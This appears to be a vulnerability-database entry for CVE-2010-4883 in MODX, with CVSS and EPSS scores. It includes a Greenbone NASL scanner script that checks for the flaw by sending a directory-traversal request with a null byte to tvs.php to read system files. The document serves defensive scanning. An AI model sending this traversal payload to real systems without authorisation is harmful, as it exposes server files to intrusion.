2.6 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
HIGH
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:H/Au:N/C:N/I:P/A:N
6.2 Medium
AI Score
Confidence
High
0.033 Low
EPSS
Percentile
91.4%
MODX is prone to a local file-include vulnerability and a cross-site
scripting vulnerability because it fails to properly sanitize user-supplied input.
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100833");
script_version("2023-07-28T16:09:07+0000");
script_tag(name:"last_modification", value:"2023-07-28 16:09:07 +0000 (Fri, 28 Jul 2023)");
script_tag(name:"creation_date", value:"2010-09-30 13:18:50 +0200 (Thu, 30 Sep 2010)");
script_tag(name:"cvss_base", value:"2.6");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:N/I:P/A:N");
script_cve_id("CVE-2010-4883");
script_name("MODX Local File Include and Cross Site Scripting Vulnerabilities");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2010 Greenbone AG");
script_dependencies("gb_modx_cms_detect.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("modx_cms/installed");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/43577");
script_tag(name:"summary", value:"MODX is prone to a local file-include vulnerability and a cross-site
scripting vulnerability because it fails to properly sanitize user-supplied input.");
script_tag(name:"impact", value:"An attacker can exploit the local file-include vulnerability using
directory-traversal strings to view and execute local files within
the context of the webserver process. Information harvested may aid
in further attacks.
The attacker may leverage the cross-site scripting issue to execute
arbitrary script code in the browser of an unsuspecting user in the
context of the affected site. This may let the attacker steal cookie-
based authentication credentials and launch other attacks.");
script_tag(name:"affected", value:"MODX 2.0.2-pl is vulnerable, other versions may also be affected.");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the
disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to
a newer release, disable respective features, remove the product or replace the product by another one.");
exit(0);
}
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
cpe_list = make_list( "cpe:/a:modx:unknown",
"cpe:/a:modx:revolution",
"cpe:/a:modx:evolution" );
if( ! infos = get_app_port_from_list( cpe_list:cpe_list ) )
exit( 0 );
cpe = infos["cpe"];
port = infos["port"];
if( ! dir = get_app_location( cpe:cpe, port:port ) )
exit( 0 );
if( dir == "/" ) dir = "";
files = traversal_files();
foreach file( keys( files ) ) {
url = string(dir, "/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../../../../../../../",files[file],"%00");
if( http_vuln_check( port:port, url:url, pattern:file ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );